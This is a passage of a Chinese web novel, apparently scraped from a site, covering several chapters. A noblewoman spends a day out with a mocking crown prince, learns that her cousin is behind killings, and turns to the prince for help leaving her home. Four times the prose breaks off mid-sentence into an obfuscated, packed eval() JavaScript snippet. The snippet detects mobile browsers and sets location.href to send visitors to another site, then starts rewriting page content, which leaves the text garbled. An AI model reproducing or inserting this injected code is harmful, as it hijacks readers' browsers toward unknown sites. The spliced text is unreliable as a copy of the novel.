岑拒霜不经意间瞥见那角落里有一只栩栩如生的泥狼,狼脖子处挂着小小的草环,显得有些滑稽,她不由得多看了两眼。 太子带着她停在了摊贩跟前,“这有何难?” 摊贩端看着跟前的人,转动着眼珠子,径自把竹筒里的竹签递给了岑拒霜,“姑娘要玩?头一个给您算两文钱,来试试?” 岑拒霜望着那竹签,有些迟疑。 她并没有什么想玩的心思,可这摊贩便是认准了她是个有钱的主,一个劲儿劝她试试。 太子在旁笑道:“你不会混得这么惨,连两文钱都没有吧?” 岑拒霜暗暗瞪了他一眼。 她少有出门,并未有带银钱的习惯,往常哪怕想买什么,自会有府上的下人代劳。 “试试。” 太子接过摊贩的竹签递给了她。 岑拒霜摩挲着竹签的纹路,犹豫再三,迈向了地上摆放齐整的小玩意儿。 她屏息凝神,紧盯着那只泥狼。 好在竹签轻盈,投掷起来不会费力,她右手的伤并不碍事,也不会拉扯到伤口。 少时父亲曾教过她如何投掷,只是用了一只竹筷作示范,便能在百米之外掷中目标,时至今日,她仍记得一些零碎的东西。 岑拒霜抬起手,用力往泥狼脖子上的草环掷去。 竹签在空中划出一道弧线,周旁围观的百姓们纷纷翘首齐看着竹签的方向,睁大了眼。 只见竹签在半道便歪歪垂落,离那泥狼差了十万八千里。 “你投掷的技巧和方式并无问题,只是差在力道的把控。” 太子说着,手里撷来了一根竹签放在她的指尖,一旁的摊贩还没看清太子的动作,愣愣地抖了抖自己抱着的竹筒,怎么也没看出来跟前身着红衣的男人是如何从中拿走竹签的。 岑拒霜只觉后背热息流淌,龙涎香的气息相近,太子从后环住了她,宽大的手掌覆盖住了她的手背,有力的指节捏着她的指尖。 他俯身在她肩旁,微眯着眼,往前一掷。 竹签穿进泥狼的草环,晃动着在地上转了一圈,连带着那泥狼也匍匐着滚了几遭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814248|158628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “中了!中了!” 围看的百姓们高声呼着,附掌而赞,呼声如浪潮涌来。 摊贩取来泥狼,笑着对岑拒霜道:“恭喜姑娘,这只小狼就是你的了……” 却见岑拒霜从竹筒里抽出一支竹签,没有接过泥狼,“我再试试。” 摊贩把泥狼搁置一边,乐呵呵道:“好,好好。” 岑拒霜选了近旁的一只小陶罐,忆及太子适才把着她手的力道,她估摸着距离,再次尝试。 竹签依旧偏了方向,没能投中。 岑拒霜动了动手腕,又取一支竹签,“再来。” “再试一次。” …… 太子回头望了玄序一眼,玄序从钱袋里掏出一锭银子放在了摊贩的木桌处。 而摊贩只顾着看岑拒霜取来一支又一支竹签,周旁围聚的百姓瞧见岑拒霜几番不中已接连散去。 “投中了!” 直至日薄西山,她已是香汗淋漓,岑拒霜见着竹签稳稳当当地落入了小陶罐身上的草环里。 “不错。” 她回过头,看着太子欣慰的笑意,又再拿来竹签朝着剩下的小玩意掷去。 掌握了投掷的技巧后,岑拒霜很快掷中其余的草环,路过的百姓不禁发出惊叹之声。 “又中了又中了!” 起初摊贩还能勉强笑着,到后来摊贩已止不住地肉痛起来,他叫苦不迭,“姑…姑娘,要不咱们就玩到这里吧?我第一次来摆摊,只是混口饭吃的,您再玩下去,我这小本买卖没法做了啊。您现在收手,这些个我就不收您钱了。” 岑拒霜就此收了手。 她伸手指了指摊贩手中的泥狼,“我只要那一个,其他的不用了。” 太子嘁了一声,“你喜欢这狼?比起玄狼,差了不少。” 岑拒霜摆弄着接过的泥狼,手艺瞧着确实不错,但神态比玄狼少了几分威风,多了些憨实。 她扬了扬手,“这个就很好。” 她还是比较惜命的,犯不着去招惹太子的狼。 摊贩擦着脸上的汗,“两位慢走……” 岑拒霜听着那惶然的语气,怕不是希望他们俩人赶紧走人。 离了小摊三四步后,岑拒霜察觉太子忽的停下步子驻足于旁,她看到他回过头,朝摊贩说了一句,“若是无法预计得失,控制成本,下次再遇到我们,你依旧血本无归。” 话毕,他的目光扫过摊贩身旁的木桌,摊贩这才发现那堆积杂物的桌上一角,多了一锭沉甸甸的银子。 岑拒霜有些意外,“殿下竟还会提点他人?” 太子扬起下巴,“因为孤比他们聪明。” 经由这连番竹签投掷,岑拒霜心绪好了不少,长街两旁的商贩不胜其数,她几近是看花了眼。 随后实在过于疲乏,她走得有些发软无力,才同太子提出回到马车上。 彼时她攥着手心里的小泥狼,指腹磨过雕琢的毛发,甫欲把泥狼收入荷包里时,袖中的香囊露出藕粉色的一角。 本已渐渐平静的心绪再度掀起层层涟漪。 “香囊……还没送。” 提及表哥,岑拒霜不可避免地想起此前在巷尾所见,那张面庞冷血至极,让她有一瞬如有寒气自鞋底灌入体内,浑身发冷得厉害。 思绪又再繁杂如线团,乱绕着一圈又一圈。 19. 唇红 岑拒霜不知该如何去面对江逾白。 太多不得解的疑团弥漫在心里,像是重重迷雾,蒙住了表哥的模样,叫她看不真切。 她最坚信不疑的,最确认的部分撕开了裂缝,原本恢复了些许平静的心绪犹有一石激起千层浪,她敛下眼,气息起伏不定起来。 到底是为什么呢? 表哥为何要骗她,为何要杀人,又为何要…… 岑拒霜只觉头痛欲裂,忽觉肩膀处多了一只紧捏的手。 “莫要因一时之见,影响你对一个人的判断。” 车厢内,街景的喧嚣渐远,唯有马车四角的玉石流苏撞得叮铃作响,太子的嗓音打断了她的思绪。 她抬起头,双目迷惘地看向对座的太子,但见太子眉梢微挑,神情散漫,好似适才这话非他所言。 他这是在……开导她? 掀动的帷裳外,今日所至的巷尾早已离了很远,她所窥见的表哥异于平常的模样也只会出现在那里,不会在她的眼前。 岑拒霜深作呼吸,试图将那些杂乱的思绪统统撇在一边。 太子说的对。表哥骗她也好,杀人也罢,这些只是她偶然所见的东西,她也不知表哥做这些的缘由和整件事始末,倘若就此草草下了定论,认为表哥伤及无辜,冷血无情,倒是她不明事理了。 当下多思无益,在得来确切的答案前,她再去多想乱想,也是徒添烦恼。 她转过头欲对太子言谢时,太子正捻着他锁骨处的暗红血玉把玩,指节拨弄间,妖异的红光落在他的面颊旁。 “当然,孤这么完美,相信你对孤的判断也是如此。” 他勾起唇角,笑得恣意,“否则的话,孤只好……” 岑拒霜问道:“只好什么?” 太子余光瞥见帷裳旁的金色系绳,条条道道的垂落在她袖口边,衬得她白腻的皮肤越发似雪,他抬手虚将她的胳膊一指,“只好把你绑起来,吊在孤的寝殿,日日夜夜看着孤。” 岑拒霜:“……” 倒也不必这样让她承认他的完美。 随后岑拒霜仍旧选择去了趟江府,将方妙嫣的香囊送与表哥。 只是到江府时,江家掌事言之江逾白尚未回府,岑拒霜只得相托掌事,一再嘱咐香囊务必今日送到表哥手中,始才离开。 马车回宫的路上,岑拒霜暂行搁置下了一桩心事。 “殿……” 她甫一开口,肚子传来一声咕噜轻响。马车已驶出闹市,轧过泥路的车轱辘也尤为平缓,仅容二人的车厢内,这声咕噜极为清晰。 岑拒霜只觉面颊有些发烫,她原本在百花宴上便没吃什么东西,确实有些饿了,今时她只得暗自盼着太子分神了没有听到。 不然少不了被他奚落。 “给。” 一个漆色锦盒从太子手旁拿了出来,瞧着模样,应是食盒。 岑拒霜有些意外,她接过了食盒,拨开盒盖放于一边后,糕点的诱人甜香迎面而来,其里摆放齐整的,是为个个软糯的透花糍。 她奇道:“……这是从哪里变出来的?” 太子倚在一旁,“孤的马车这么大,装个小小食盒还是装得下的。” 岑拒霜将食盒往前挪了挪,“殿下吃么?” 太子瞄了眼她袖中露出的半截白胳膊,视线又从她右手包扎好的伤口处逡巡而过,他的舌根生出几分腥甜的滋味。 他偏过头,“孤不惯吃甜。” “好吧。” 岑拒霜拿起其中一个,迟迟没有下口,她咽着口水,朝太子眨了眨眼,“殿下没有放什么奇怪的东西吧?” 太子扬眉笑道:“有啊,放了人肉。” 岑拒霜捻着透花糍的动作稍有一顿,旋即她一口塞进了嘴里,当着太子的面,恶狠狠地咬着。 这糕点里半分油水气都没有,谈何人肉所做的馅? 太子起了身,觉着她这模样实在有趣,比起她在一众跟前那副少有动弹的病弱模样好玩不少。 “孤怎么觉得,你想咬上来?” 岑拒霜心道,我又不是你。 她嚼着糕点无暇搭理太子的间隙,又听太子说,“你当然不是孤,毕竟孤举世无双。” 岑拒霜:“……” 他怎的还会读心术? 不多时,口腹得来了满足,岑拒霜觉着心绪也舒畅了不少。 她看着车厢顶畔的木架放置的水囊,正觉口舌发干,想要取下饮之。 岑拒霜稍稍蹭起身,抬起胳膊去够水囊,却是不慎踩到了自己的衣裙,她当即便没能站稳,直直朝着对面的太子倒去。 马车外,玄序望着天色,时不时挥着马鞭,伸腰打了个呵欠。 “真是奇了,头一次被殿下要求这么慢地行驶……” 玄序喃喃自语着,想起宫里来人,圣上火急火燎地要求殿下即刻赶回宫,他装模作样地再落下一鞭,马儿便拖着车厢优哉游哉往前挪动了几步。 “哎呀,我也是催了马车快行了,这马今日犯懒,就不能怪罪到我头上了。” 玄序说着,半卧在平缓向前的马车处,望着前方若隐若现的宫墙,百无聊赖地把马鞭打了个结。 宫墙下,一道月白长袍身影挺立如松。 江逾白正是吩咐着小厮将马车收拾得宽敞舒适的间隙,只待岑拒霜从百花宴出。 抬眼时,见宫门处的侍卫紧忙俯首作礼,不远处象征东宫的马车徐徐行至。 恰逢清风穿过,撩起马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814249|158628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车帷裳一帘。 江逾白见着车内一抹熟悉的素衣正躺在太子的身上。 那细藕似的胳膊抓着太子肩膀处的衣袍,雪白的小脸埋在了太子的胸膛,姿势说不出的暧昧。 此刻岑拒霜倒在太子身上,羞恼不已。 她只恨太子的马车没有一个大大的坑,可以把自己埋里面,再也不要出来见人了。 浓重的龙涎香萦绕在鼻尖,她的脸畔尽是太子身上的气息,熏得她晕乎乎的。 ——更糟糕的是,岑拒霜察觉自己的唇畔吻到了太子身上。 唇处碰到的东西犹热,非是绸缎而成的衣袍,而是实实在在的人的体温,她甚至能够感受到随着他的呼吸,自己唇畔吻到的位置正微微起伏。 岑拒霜仓皇从太子身上爬起来,她看着太子锁骨下的朱红唇印,脸颊登时发烫起来。 太子的衣袍向来比旁人多敞几厘,衣襟下那对骨形分明精致的锁骨便不加遮掩地露了出来。 若像表哥那样,素日所着向来严丝合缝,喉结往下便已无法窥得内里,她哪怕是这样一摔去,也只是在其衣上留下一点口脂痕迹罢了。 当下岑拒霜压根不敢去看太子的神情,她盯着太子锁骨下惹眼的唇印,几度抬起手又放了下去,不知该给太子亲自拭去,还是该如何是好。 纠结之下,岑拒霜对着太子强颜一笑,壮着胆伸出手,往太子的衣襟而去,“殿下……我来帮你擦干净……” 话音方落,岑拒霜还未反应过来,表哥的嗓音已是从帷裳外冷冷而来。 “小霜。” 岑拒霜为之一怔。待她钻出车厢,被宫人搀下马车,她望着几步之遥的江逾白,眼前忽闪过他在破屋里的模样。 她的步伐不受控制地滞在了原地,“哥哥……你怎么会……” 江逾白留意到她稍显停顿的脚步,不似往日那样一见到他便迅然上前,往往这时,她都会撒娇似的抱着他的胳膊,仰起的小脸眉目含笑。 “侯爷在宴上饮多了,担心无法将你照顾周全,传信于我来接你回府,” 他微动了动有些发冷的胳膊,目光越过岑拒霜落至太子的马车,“倒是小霜,怎的不在宴上与侯爷待在一起?” 岑拒霜走至江逾白的身侧,低着头解释,“百花宴有些无聊……我,我就偷跑了出来。” 江逾白视线锁定在了从马车里出来的太子身上。 百花宴无聊,那说明,与太子在一起便不乏味,便足以令她欢喜。 太子像是感受不到江逾白发凉的眼神,他慢条斯理地理着衣袍,手指有意无意地略过衣襟,反复捻起锁骨旁的衣襟捋着。 纵是天光渐晦,江逾白一眼便见到,太子敞开的衣襟处,那抹唇红极为刺眼。 20. 回府 岑拒霜是被江逾白强行拉上马车的。 彼时江逾白三言两语与小厮交代着,让小厮入宫同岑侯爷报信,自己便带着岑拒霜上了马车。 车厢内气氛低迷至了极点,表哥就坐在了自己身侧,岑拒霜低着头一言不发,但也能感受到表哥发冷的视线游移于自己身上。 不多时,只听江逾白略带责备地问道:“小霜,不是让你少与太子接触么?” 岑拒霜紧紧捏着手指,心里忐忑不安。 江逾白越是这般问着,她越是控制不住自己反复回想着在破屋前目睹的一切。她不知该如何同表哥提起,也不知怎么去求得答案。 江逾白盯着她的面庞,目光落至那润泽嫣红的唇瓣时,他不受控制地浮现出马车里岑拒霜扑倒在太子身上,还有他所见的,太子襟口旁的吻痕。 他的眉头皱得更深了几分,指节不自觉地捏紧。 江逾白挪开眼,倏地瞥见她的裙角沾满了灰尘,本应干净的绣鞋底部,粘连了好些踏碎的枯枝败叶,他回想起太子马车回宫门时的方向,连同岑拒霜下了马车后见到他的迥异反应,江逾白的目光顿时生寒起来。 “今日太子带着你去了何处?” 面对江逾白的发问,这样不掺杂一丝感情的问言像是在拷问刑犯,岑拒霜一路上憋着的心绪再也无法忍住。 她抬起头单刀直入地问道:“哥哥总是要我别和太子接触,那哥哥又在接触什么人呢?” 江逾白的眸子越发幽深,他俯身凑近,语气冰冷至极,“小霜,你看到了什么?” 岑拒霜感受着表哥的身形离自己越发的近,这样的距离,似有一堵厚重的泥墙朝她挤迫着,压得她快要喘不过气来。 她别过头去,恹恹说着,“我什么也没看见。” 江逾白蓦地抓住她的手腕,嗓音低沉,“……还是太子与你说了什么?” “没有,没有……” 岑拒霜尤为抗拒地摇着头,根本不想再继续这个话题。 偏偏江逾白不依不饶,手上握着她手腕的力道不由得变紧,他加重了语气,再度逼着她,“小霜,回答我。” 岑拒霜只觉手腕被捏得生疼,像是要被他活生生捏碎了般,疼痛加持下,她的眼底不由得泛出泪来,面对从未对她如此的江逾白,岑拒霜心里的惊慌无措亦越发放大,她挣扎着便要抽出手来,偏又争不过男人的力气。 “哥哥!”岑拒霜尖声叫着,“你弄疼我了。” 江逾白望着泪眼婆娑的岑拒霜,始才猛然反应过来自己做了什么。 意识到自己的失态,他颤着指尖松开了手,“……抱歉。” 岑拒霜由着泪水潸然,委屈抵满了心尖。 她捂着仍然发痛的手腕,默了良久才抽噎着声,“哥哥,你以前不会这样的……” 江逾白不自然地放回了手,几度想要去查看她手腕上被他捏红的痕迹,又缩回了手没有向前。而留意到她右手手心包扎的小小花结,他刻意缓了声,“你的手怎么了?受伤了吗?” 岑拒霜耷着脑袋,蜷着手指藏住了那花结,“没有事。” 与此同时。 皇宫一隅,天色将晚,城墙处挨个点满了灯火,明彻如昼。 高耸的墙头上,随风摇晃的火色照得一身红衣鲜明。 太子抬起手,松垮的大袖随之往下滑落,堆褶在臂弯,他垂眼看着自己袖口处略有疼痛的手腕,若有所思。 玄序在旁问道:“殿下,怎么了?” 太子随口说着,“你说,女人都是在想什么?” 玄序一时摸不着头脑,“殿下说的是……” 太子睨了眼城墙下的宫殿,群殿坐落于昏昏的夜色里,小如一粟,他轻蔑地笑了笑,“后宫那几个妇人善妒,父皇二十年来没有选过新人入宫,她们便互相算计,就算是孤,她们也恨得牙痒痒。当然这也怪不了孤,谁叫她们的儿子都蠢笨如猪。” 玄序答道:“圣上对殿下的宠爱,是旁人如何嫉妒也得不来的。” 却见太子侧过头,“但怎会有女人心甘情愿地帮自己未婚夫择侧室?” 玄序思索半晌,“殿下,这世上很多女子都身不由己,很多事情并非她们决定。我那小妹,夫婿不是自己选的,丈夫三妻四妾也不是她自己能把控的,早知如此,我就该说什么也要把她留在京城。” 太子哦了一声,“那她还挺惨。” 玄序以为太子在说自己的小妹,他正想说他的小妹也不算惨,如今小妹成日和宅中的女子们厮混,早忘了那终日外出的夫婿为何物,过得还算滋润,还未说时,太子又开了口。 “你觉不觉得,孤的东宫还缺了点什么?” 玄序先是怔了怔,旋即反应过来,太子是想把他的小妹调到东宫? 他紧忙说着,“她还不懂事,往常在家被宠惯了,也没好生教她礼仪方面,入宫怕是……” 太子忆及那每每暗中与他较劲儿的模样,好几次偷偷瞪着他,整张脸都写满了对他的不满,他点了点头,“确实不太懂事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814250|158628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>玄序心头一松,又见太子兴意颇高。 “孤想养只狸奴了。” * 转眼又过了好些日,岑拒霜一直待在府上未出。 叔父自百花宴回后的翌日便因负圣命出了远门,临走前托付了江逾白照看她。 岑拒霜自那日皇宫回府后就与表哥不欢而散,她身心俱疲,不愿再去与表哥争执什么,抑或是深究什么。倒是表哥这些日在府上时,一切如旧,他依然会耐心陪她哄她,可她如何也提不起兴致。 春日晴光尚好,窗外几处流莺啼个不停,本是适宜四处走走的好天气,岑拒霜独自躺在榻上,口中苦涩的药液尚未咽下,舌根发苦的感觉溢满了唇齿。 正逢午时小憩,她辗转难眠,不知翻了第几个身时,她察觉自己指尖摸到了什么冰凉之物。 岑拒霜挪眼瞧去,是放置在枕边的小泥狼。 她摩挲着光滑的泥面,望着半开的窗扇处,眼前浮现的,皆是那日在闹市街中见到的车水马龙,人声喧嚣,比她这冷冷清清的小院子热闹不少。 越是想着,岑拒霜越觉抓心挠肝,起身下榻出了卧房。 流岚正带着院内的丫鬟婆子熬制药汤,岑拒霜谁也没唤,径自往表哥常居的客舍小院而去。 叔父将她托付给了表哥照看,今时她若想出门走走,需得经由表哥准许。 这些天她一个人闷在屋里时,也想得明白。人人皆有不愿为人所知的秘密,她有关乎她和太子的秘密不可言说,表哥为何不能有他自己的秘密? 即便如今面对表哥时,她不能全然释怀那日目睹的一切,但这个横亘在心里的结,也比前几日好了不少。 踏入修竹环绕的小院,里头人声依稀传来,岑拒霜心下一定,看来表哥今日就在院中。 “公子,上回的事情已处理干净了。” “没留下痕迹吧?” 离得近了,江逾白与小厮的对话字句可闻,岑拒霜本欲上前的步伐僵在了半空,她心头一紧,连忙屏住了呼吸,不敢发出声响。 他们……在说那日杀人的事? 岑拒霜侧过身躲在茂密的竹林后,偷眼瞧着远处交谈的二人。 “公子放心,”小厮躬身回禀着话,“不过是一群占着江家给的好处就忘形了的刁民,此次杀鸡儆猴,待日后公子您继承了家主之位,想来他们也不敢造次。” 岑拒霜听罢脸色一白,晃着身子正欲离开时,一旁传来丫鬟的惊叫。 “哎呀,姑娘,您怎么在这?” 21. 传感 岑拒霜为表哥设想过很多理由。 譬如他所杀的,是十恶不赦之人,他所做是为民除害;又或许,杀人之举非他所愿,是家中长辈指派,由不得他拒绝。 诸此种种,都未能料到事实真相竟是这样“杀鸡儆猴”的轻描淡写。 江家乐善好施,在京中广有贤名,偶有动了歪心思的人想多讨得点好,江家便会将其驱逐于外。可如今夺人性命这样的惩罚,沉重得让她难以接受。 眼下因丫鬟出了声,她暴露在江逾白的视野里,她艰难提着步子往前,明明她和他只有几步之遥,岑拒霜却觉隔了好远。 那种陌生的感觉又涌上了心头,有一瞬间,她竟觉得站在面前的人,不是她认识的江逾白,更不是与她朝夕共处的表哥。 “小霜。” 江逾白仍在唤着她,惯来疏淡的声线让她止不住地想起那日所见。 “都退下。” 他遣散了周围的下人,举步走到她跟前。 岑拒霜抬起头看着他,声音发着颤,“哥哥为何要杀他们?” 江逾白幽邃的眸子掠过一抹冷意,“他们对江家不利,自是当杀。” 岑拒霜只觉手脚冰凉起来,她言语苍白地辩驳着,“朝廷自有律法,哥哥为何……” 江逾白打断了她,“小霜,你还小,这些事情你不懂。” “我怎么不懂!” 岑拒霜高声叫着,因情绪过于激动,说话间她的气息已是起伏不定。 她盯着眼前神色淡漠的江逾白,嗓音艰涩,“在权贵眼里,平民百姓的命犹如草芥,想打就打,想杀就杀,不是吗?” 她自小身在边关时,便知岑家世代守护的不仅是边关,也是这防线后的万千百姓。 可她也曾见过从京中过来的权贵,对着边关的百姓发难,跋扈妄为,伤了不少百姓。最后那权贵被母亲提枪逼着赶回了京城,她也认清了权贵与百姓之间的鸿沟。 母亲说,既是锦衣玉食,过得比百姓好,便要肩负起应有的责任,而非滥用职权欺凌弱小,无论身份地位,每一个人生来都有被尊重的权利。 她本以为,表哥不可能与那些权贵苟同。 而江逾白在她的注视下缓缓点头,“是。” 岑拒霜难以置信地往后退了一步。 江逾白从始至终未曾动容,他保持着异于常人的漠然,眼底没有半分情绪。 她红着眼,疯狂摇着头,“我不明白所谓的利益,我只知道这些百姓的命,乃至整个大熙百姓的命,都是我父母至死也要守着的……哪怕他们有错,他们也罪不至死!若是连这些小老百姓都不懂得尊重……” “小霜,你累了。” 江逾白不愿再听她多说,传唤着院外的丫鬟,“送姑娘回房。” 待岑拒霜被丫鬟强行搀扶着送回院里,江逾白的小厮从暗处走出。 “老爷子今日又催您和岑姑娘的婚事了……说到底,这婚事成与不成,也不是公子您自己可以决定的。父母之命,媒妁之言,那岑侯爷舍不得岑姑娘,迟迟不肯与咱家定婚期,这样拖延下去也不是个法子。” 小厮见江逾白不言,嘴里仍碎碎念着,“公子恕属下多嘴,岑侯爷至今仍不愿对外公开您和岑姑娘的关系,将来若岑侯爷有心把岑姑娘许给他人,公子这些年的辛苦不就白费了吗?” 江逾白望着岑拒霜离去的方向,眼前一闪而过她与太子之间的种种亲密。 他不得不承认,近来心头有一种异样感油然而生,是原本紧紧捧在手心的东西,渐渐脱离控制的感觉。 * 月出东山,小院复了寂静。 屋内灯盏如豆,浓郁的药味儿充盈其间。 “姑娘……您就吃一口吧。” 流岚端着方煨热的药膳,苦苦相劝。她不知姑娘是何时出的院子,待姑娘被搀回房时,流岚足足吓了一跳,好在岑拒霜没有伤着哪儿或是磕碰到什么,不然她可没法交代。 岑拒霜抱着双膝缩身坐在榻上,脑袋耷拉在膝间,双眼木然地看着锦被上的花纹,丝毫没有理会流岚。 流岚续说着,“姑娘,您这身子好不容易有了恢复的苗头,若是在此时断了药,怕是又很难有起色了。” 岑拒霜半句都未听进去。 她委实没有半分胃口,自她与江逾白争执未果后,她只觉窒息至极,胸口里像是被硬生生塞进了一团湿沉的棉花,摘不掉也除不去。 岑拒霜抬眼看着四处紧阖的门扉与窗扇,更觉窒息难耐。 她掀开锦被,“流岚,我要出府。” 流岚连连阻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814251|158628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拦,“姑娘您这是要去哪儿?江公子吩咐了,您身子欠佳,不能再多加劳累。出府走走这种事,等您身子好些了再说吧。” 岑拒霜还欲争着什么,但见流岚心切的面容,她忽的明了,她做什么都无济于事。 表哥借用她身体虚弱的由头,堵住了她所有的路,现下府上所有人都听表哥的,她不可能想做什么便可以做什么。 深深的无力感附在心间,岑拒霜转过身背对着流岚,低低说道:“我知道了。” 流岚劝了再三仍是无用,最后只好退出了卧房。 如此往复又过了几日。 岑拒霜已不记得自己有多久没有出过房门,连着帘幔外半遮的天光都显得刺目起来。 她昏昏沉沉地睡着,依稀听闻屋外的丫鬟们叽叽喳喳,一面唉声叹气担忧着她不肯用药,一面说着今日江公子不在府上,更无人劝说岑拒霜好生吃东西了。 岑拒霜缓缓从榻上坐起身。 重重光幕落在略显单薄的衣裳上,岑拒霜看着帷裳上的影子沉思了良久。她抬起胳膊,露出衣袖下的白嫩皮肤,微弱烛火蒙在纤细的青色血管处,薄得似是轻轻一划便有鲜血淋漓。 曾几何时,太子在他的胳膊上划过一道伤,他疼,她也会疼。 反之亦然。 犹豫半刻后,她心一横,尖尖的指甲猛地刺入胳膊。 岑拒霜疼得睁不开眼来,偏是如此,她加重了指尖的力道,咬着唇瓣不敢张开,压抑着喉间的痛吟。 相隔遥遥的宫墙里。 太子正懒懒地倚在金榻处翻看着奏报,不耐烦地听着座下臣子述职。 臣子说到某处,忽的察觉太子手一抖,只听“啪嗒”一声,捏在其手里的奏报就此滑落,于空荡荡的殿内清晰可闻。 那齐整的奏报散作凌乱的纸张,其间两三页还晃悠悠地飘至臣子跟前,臣子扑通跪在太子跟前,“微、微臣惶恐……不知是,是何处出了纰漏……” 太子并未理会,蓦地起身朝殿外走去,臣子心如死灰,一瞬间连自己尸骨埋哪里都想好了。 却听太子的嗓音远远传来。 “就这么办。” 臣子怔在原地,他的项上人头保住了? 太子殿下今日被灌了什么迷魂汤?竟这般好说话。 22. 请君 侯府。 “姑…姑娘!不好了姑娘!” 一道高呼的嗓音惊飞树梢的黄莺,流岚满面惊慌,匆匆穿过廊庑,踏在地板上的脚步嗒嗒作响,好些次差点在台阶处绊倒。 卧房内,岑拒霜起榻望着仓皇入屋的流岚,“发生了何事?” 流岚把着门缘,喘着粗气,另只手指着门外断断续续说着,“外面,外面……要侯爷出去见驾!” 岑拒霜从容应着话,“叔父不在,我去见驾便是,慌里慌张作何?” 只见流岚面如土色,眼中惊恐异常,整个人抖如筛糠,“来的不是圣上,是,是……太子殿下!殿下还牵了狼到府上……” 岑拒霜镇静如常,她走至妆镜前,拿起木梳递给流岚,“替我梳妆吧,我等会儿去见驾。” 另一边。 太子坐于正堂里,既不饮茶,也不说作何,侯府一众面面相觑,心下疑惑之至,又不敢有丝毫怠慢。 管家毕恭毕敬地候在一旁,赔笑道:“殿下您怎的来了……侯爷前几日奉圣上之命外出,尚未归京……” 太子闻言双眸微眯,目光如锋,“哦,那孤便在侯府等着侯爷回来吧。” 管家在其一瞥之下倏地觉着后背寒毛倒竖。 岑侯爷至少两日方归,太子在这里待个一时半刻都难熬,更别说待上两日了。只怕届时闹得鸡犬不宁,整个侯府都要震上一震。 管家琢磨着如何是好时,太子又再幽幽发了话。 “孤的玄狼胃口不小,若是饿着肚子,孤就不能保证它会不会吃别的什么了。” 管家擦了擦冷汗,行止维持着得体的面貌,“殿下放心……” 话还未完,堂外传来一轻柔嗓音。 “臣女代叔父前来见驾,还请殿下恕侯府照顾不周之罪。” 岑拒霜姗姗而来,福身作礼。 管家瞧着今日岑拒霜的扮相有所不同,那半挽的青丝处满是珠翠,颈佩璎珞,桃粉袖衫披身,银丝软纱搭在臂间,移步间,缀着圆润珍珠的绣鞋隐隐现于裙边,绰约多姿,隆重而不失大家气派,这架势,不仅显出是为当家之人,又给足了太子脸面。 管家暗暗欣慰,看来咱们的姑娘也是长大了,能够替侯爷独当一面了。 太子端看着跟前的人,唇角勾起一抹笑。 他瞧得分明,那头上的珠翠估摸着太沉了些,她走路时微微摇晃着身姿,像是一只小狸奴顶着比头大的玉盘,挺着毛绒绒的头颅小心翼翼地朝前,摇来晃去的模样着实有趣。 太子瞄了眼杵在一旁的管家,“还站在这里作何?等孤请你去东宫走一趟?” 管家踌躇再三,偷眼看向岑拒霜时,后者递了个神色以示无事,他这才躬身拜礼,“……在下这就告退。” 见下人们都退去后,岑拒霜也顾不得什么礼仪,兀自寻着最近的椅子入了座。 这身扮相确实华贵,但也累人得紧,若不是担心府上其余人起疑,她须得摆出这主人模样见驾,她也不必这般苦苦折腾自己了。 岑拒霜抬手给自己倒了杯温水,揉了揉有些酸痛的脖子,“没想到殿下真的会来。” 太子的视线落在她刻意避免用力的右手,他慢悠悠地抿着茶,“孤的出场费很贵。” “先行欠着……日后再还。” 岑拒霜已无心思去想引来太子的后果,她迫在眉睫的事便是能够暂行离府。近来这样透不了一口气的日子成天压着她的肺腑,她哪怕还没发病,也要憋出病来了。故今日表哥不在府上,岑拒霜第一个想到的人则是太子。 虽然危险,也是最有用的。 她深作呼吸,问道:“殿下能带我出去走走吗?” “可以,” 太子玩味地看着她,“你带着孤的玄狼上街走一圈,孤就带你。” 闻及此,岑拒霜抱着瓷盏的手一抖,本就发痛的胳膊一下子没能拿稳瓷盏,咣当一声摔落在地。 先不说她带着狼上街是如何危险,她若真如此做了,这么招摇过市,很快就会闹得满城风雨,整个京城不得安宁。 她不过是想出门走走,又不是想去屠城。 